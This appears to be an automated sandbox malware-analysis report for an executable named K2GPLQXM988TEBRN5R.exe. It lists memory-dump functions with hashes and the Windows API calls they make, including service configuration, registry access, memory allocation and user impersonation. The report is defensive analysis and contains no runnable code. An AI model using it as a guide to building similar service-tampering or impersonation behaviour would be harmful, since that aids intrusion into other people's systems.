Instruction ID: d375da54bb4112ba50665a37c28295aefc93a8a256e7c8e9ba35d289794dbcb1
Opcode Fuzzy Hash: 9566592c3fd1791403f61886e9c9ead18bd8d4dcc166e2a904e4ece70d98a869
Instruction Fuzzy Hash: ADF058EBA4C115BD7180D0827B3CABF672EE5E2730731CA27F8C2C5402E2944A0919B8

Function 05070866 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb88372bc273e074fb0b9b697d851c43099b55b977224dbbfaf0f098660d80f
Instruction ID: f18cb6baee46eb7fc40015a85799fc497887060f67a226c66f3b83f42681c60e
Opcode Fuzzy Hash: 5fb88372bc273e074fb0b9b697d851c43099b55b977224dbbfaf0f098660d80f
Instruction Fuzzy Hash: 3AE039EB98D019BD3181D0C27B3CABE272FE4E63303718A67F882C5402E2884A4D1578

Function 0507089D Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6faf709118d2ff4694f10a2e3e518e40650345945ef5ce7bc25430918fd207d7
Instruction ID: 7ddbb3e0a3f2ecf790324d02232f4b03c30a3a0dfbaaa296ac444b5f93ce0182
Opcode Fuzzy Hash: 6faf709118d2ff4694f10a2e3e518e40650345945ef5ce7bc25430918fd207d7
Instruction Fuzzy Hash: BAE04FBBA8C1446EA68289927A791BD7B2EF9E373033985A7E482C6502E284440D5770

Function 05070892 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1711272296.0000000005070000.00000040.00001000.00020000.00000000.sdmp, Offset: 05070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5070000_K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0c153bc0f3aed488c293126d8cde3fa8ff384515e2e664dd49f7cefca8e836
Instruction ID: 4abb04adf110a1d966d7b63f4cf9a0bb2874f6d180eb10119a9556d0c53001ce
Opcode Fuzzy Hash: 0f0c153bc0f3aed488c293126d8cde3fa8ff384515e2e664dd49f7cefca8e836
Instruction Fuzzy Hash: 86E08CBB988105AE6685C592B22897E3B2BF9E733033286B7F083C7502D394424C5A78

Analysis Process: K2GPLQXM988TEBRN5R.exePID: 5528, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	42.9%
Signature Coverage:	10.7%
Total number of Nodes:	28
Total number of Limit Nodes:	1

Executed Functions

Function 04BA15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04BA18C8

Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 9a7d68b4301da441d39b7350b280e45701dac7161457d8e0f98d57b78931f5b7
Instruction ID: ff9d1327a84974cbf04d8e807e5ebd347ebcd1cccdb01d4ec0f065d591477bce
Opcode Fuzzy Hash: 9a7d68b4301da441d39b7350b280e45701dac7161457d8e0f98d57b78931f5b7
Instruction Fuzzy Hash: 9DC16A71D042599FDB50CFACC8857AEBBF1FF44314F0485A9E855E7284DB74A8A2CB82

Function 0040BB72 Relevance: 4.6, APIs: 3, Instructions: 122
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0040E8CC
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0040E8F3
GetNativeSystemInfo.KERNELBASE(?), ref: 0040E94A

Memory Dump Source

Source File: 00000013.00000002.2225588647.0000000000409000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00270000, based on PE: true

Associated: 00000013.00000002.2225342481.0000000000270000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225366106.0000000000272000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225389810.0000000000276000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225413767.000000000027A000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225439878.0000000000286000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225541469.00000000003E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225564219.00000000003E5000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225588647.00000000003FB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225632727.0000000000410000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225652271.0000000000411000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225674102.000000000041E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225694633.0000000000420000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2226526851.0000000000440000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227058400.000000000044C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227167498.0000000000458000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227243222.000000000045B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227295244.000000000046A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227333835.0000000000470000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227406367.0000000000479000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227470447.0000000000481000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227521229.0000000000482000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227566442.0000000000487000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227622178.0000000000491000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227674653.0000000000492000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227718519.0000000000493000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227769111.0000000000496000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227867474.0000000000497000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227921774.000000000049D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227960751.000000000049E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228021042.000000000049F000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228073847.00000000004A6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228125459.00000000004A9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228435959.00000000004B0000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228491517.00000000004B2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228542102.00000000004C4000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228588592.00000000004C6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.000000000050D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.0000000000513000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228782946.0000000000522000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228837230.0000000000524000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_270000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: cadbf9b03e5ada402e8a6f33499c657bcd6cb7da08391dcb6c9d5c6a79619b10
Instruction ID: 510643db2d993dd4a78c0972a6b4aa7dccb5d94808b8c023afedd887b42c4b18
Opcode Fuzzy Hash: cadbf9b03e5ada402e8a6f33499c657bcd6cb7da08391dcb6c9d5c6a79619b10
Instruction Fuzzy Hash: 6A4110B240410DDFEB11EF24D8457EF7BB4EB04310F01493AE98196980D67A5C68CF9E

Function 0027F2DC Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 17
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0027FB94

Strings

Zm, xrefs: 0027F686

Memory Dump Source

Source File: 00000013.00000002.2225413767.000000000027A000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00270000, based on PE: true

Associated: 00000013.00000002.2225342481.0000000000270000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225366106.0000000000272000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225389810.0000000000276000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225439878.0000000000286000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225541469.00000000003E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225564219.00000000003E5000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225588647.00000000003FB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225588647.0000000000409000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225632727.0000000000410000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225652271.0000000000411000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225674102.000000000041E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225694633.0000000000420000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2226526851.0000000000440000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227058400.000000000044C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227167498.0000000000458000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227243222.000000000045B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227295244.000000000046A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227333835.0000000000470000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227406367.0000000000479000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227470447.0000000000481000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227521229.0000000000482000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227566442.0000000000487000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227622178.0000000000491000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227674653.0000000000492000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227718519.0000000000493000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227769111.0000000000496000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227867474.0000000000497000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227921774.000000000049D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227960751.000000000049E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228021042.000000000049F000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228073847.00000000004A6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228125459.00000000004A9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228435959.00000000004B0000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228491517.00000000004B2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228542102.00000000004C4000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228588592.00000000004C6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.000000000050D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.0000000000513000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228782946.0000000000522000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228837230.0000000000524000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_270000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: AllocVirtual
String ID: Zm
API String ID: 4275171209-527312255
Opcode ID: 0bbc4bd0073a828b1df1c1389ec353f304a185be626804f18f3e6bafad63ca8a
Instruction ID: 3e3fcbc1b345e7fcd24ac2868db5d736868fdb6eef1738800f8b392185c68355
Opcode Fuzzy Hash: 0bbc4bd0073a828b1df1c1389ec353f304a185be626804f18f3e6bafad63ca8a
Instruction Fuzzy Hash: 20E0323105D309EBCB508F21CA092AE77A0EF44324F21CA2DE8AA42984C3768C60AA07

Function 04BA15C4 Relevance: 1.8, APIs: 1, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04BA18C8

Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 19bda71e6b01c1b1a2bf998663cb4a0d5446f5b11451d7fec91c6cb1d02eaeff
Instruction ID: 238d668063c2eb43067eb11276121d3724c45fcdfcac7960bd3735190f2f6876
Opcode Fuzzy Hash: 19bda71e6b01c1b1a2bf998663cb4a0d5446f5b11451d7fec91c6cb1d02eaeff
Instruction Fuzzy Hash: F0C17A71D042599FEB50CFACC8457AEBBF1FB44314F0485A9E855E7284DB74A8A2CB82

Function 003FF74D Relevance: 1.6, APIs: 1, Instructions: 98
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 003FF74D

Memory Dump Source

Source File: 00000013.00000002.2225588647.00000000003FB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00270000, based on PE: true

Associated: 00000013.00000002.2225342481.0000000000270000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225366106.0000000000272000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225389810.0000000000276000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225413767.000000000027A000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225439878.0000000000286000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225541469.00000000003E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225564219.00000000003E5000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225588647.0000000000409000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225632727.0000000000410000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225652271.0000000000411000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225674102.000000000041E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225694633.0000000000420000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2226526851.0000000000440000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227058400.000000000044C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227167498.0000000000458000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227243222.000000000045B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227295244.000000000046A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227333835.0000000000470000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227406367.0000000000479000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227470447.0000000000481000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227521229.0000000000482000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227566442.0000000000487000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227622178.0000000000491000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227674653.0000000000492000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227718519.0000000000493000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227769111.0000000000496000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227867474.0000000000497000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227921774.000000000049D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227960751.000000000049E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228021042.000000000049F000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228073847.00000000004A6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228125459.00000000004A9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228435959.00000000004B0000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228491517.00000000004B2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228542102.00000000004C4000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228588592.00000000004C6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.000000000050D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.0000000000513000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228782946.0000000000522000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228837230.0000000000524000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_270000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 43b959bfe648b4903ff5096875929568368fce2990c2b92b8d732e356f21dd6b
Instruction ID: 2b2990dd1521891f835a7e8e1e1c5f1db3925d0b3393264423c6fc0193fd89b3
Opcode Fuzzy Hash: 43b959bfe648b4903ff5096875929568368fce2990c2b92b8d732e356f21dd6b
Instruction Fuzzy Hash: 8C3129F214C200AFE3016F49EC81ABAFBE9FB99320F12092DE6C4C6611D77588409B57

Function 04BA0D42 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BA0DCD

Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 66c5e0de826fbcc7970cd38fa4d9a7b8c7f31f7bdd2ed35d2f9a3ad7b61d0e87
Instruction ID: 728b02b92389c47b48a7f4e63500fb419eade86b1a4c37190d4641d07213e952
Opcode Fuzzy Hash: 66c5e0de826fbcc7970cd38fa4d9a7b8c7f31f7bdd2ed35d2f9a3ad7b61d0e87
Instruction Fuzzy Hash: 582135B6C002189FDB10DFA9D884BDEFBF4EB88310F14855AE908AB204C774A550CBA5

Function 04BA0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BA0DCD

Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 00bed55f70d4e9bb4428c150c9323404a46240eaf4a6b5b551cb568904bf9893
Instruction ID: 99d251334fec6bfac1aa84c25a99fb2c266190d41d3cdb4a6b92fdc287079783
Opcode Fuzzy Hash: 00bed55f70d4e9bb4428c150c9323404a46240eaf4a6b5b551cb568904bf9893
Instruction Fuzzy Hash: 392124B6C012189FCB10DFA9D884BDEFBF4FB88310F14855AE808AB244D774A550CBA5

Function 04BA1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BA1580

Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 35131e2bafcccce28fe419c397c4d27eb1ea04ab95386539637be5e6ada5b54a
Instruction ID: afa6d44d07d03c91d95c6cd2716a76fcde6d9f99eb2b0f2c57115fb915cd7288
Opcode Fuzzy Hash: 35131e2bafcccce28fe419c397c4d27eb1ea04ab95386539637be5e6ada5b54a
Instruction Fuzzy Hash: 692103B6D003499FDB10CF9AC484BDEFBF4EB48324F10842AE959A7250D378A644CFA5

Function 04BA1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BA1580

Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 1492948d19fd3ce82d178673f5bcb9de0ada945e588917ebd67bd910cedba142
Instruction ID: add3844167ada654ec3dc159ae56282ca9eee4339edd6debbacdf43709cc5069
Opcode Fuzzy Hash: 1492948d19fd3ce82d178673f5bcb9de0ada945e588917ebd67bd910cedba142
Instruction Fuzzy Hash: EF11E4B6D003499FDB10CF9AC584BDEFBF4EB48324F10842AE559A7250D378A644CFA5

Function 0040BF15 Relevance: 1.6, APIs: 1, Instructions: 50
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0040E26A

Memory Dump Source

Source File: 00000013.00000002.2225588647.0000000000409000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00270000, based on PE: true

Associated: 00000013.00000002.2225342481.0000000000270000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225366106.0000000000272000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225389810.0000000000276000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225413767.000000000027A000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225439878.0000000000286000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225541469.00000000003E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225564219.00000000003E5000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225588647.00000000003FB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225632727.0000000000410000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225652271.0000000000411000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225674102.000000000041E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225694633.0000000000420000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2226526851.0000000000440000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227058400.000000000044C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227167498.0000000000458000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227243222.000000000045B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227295244.000000000046A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227333835.0000000000470000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227406367.0000000000479000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227470447.0000000000481000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227521229.0000000000482000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227566442.0000000000487000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227622178.0000000000491000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227674653.0000000000492000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227718519.0000000000493000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227769111.0000000000496000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227867474.0000000000497000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227921774.000000000049D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227960751.000000000049E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228021042.000000000049F000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228073847.00000000004A6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228125459.00000000004A9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228435959.00000000004B0000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228491517.00000000004B2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228542102.00000000004C4000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228588592.00000000004C6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.000000000050D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.0000000000513000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228782946.0000000000522000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228837230.0000000000524000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_270000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5bec43883ee86b1ada8fb1ee76fb221ff61d7a50c338d3bd3b3dfd96a6096a81
Instruction ID: 62eaf5c0585f563028aa1e109440d451b5f781cc1605772cb362de804e6d1919
Opcode Fuzzy Hash: 5bec43883ee86b1ada8fb1ee76fb221ff61d7a50c338d3bd3b3dfd96a6096a81
Instruction Fuzzy Hash: 4A1110B150C704EFC3096F24D08112EB7F4FB50714F62482EE9D696281E6388852EF0B

Function 04BA1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BA1367

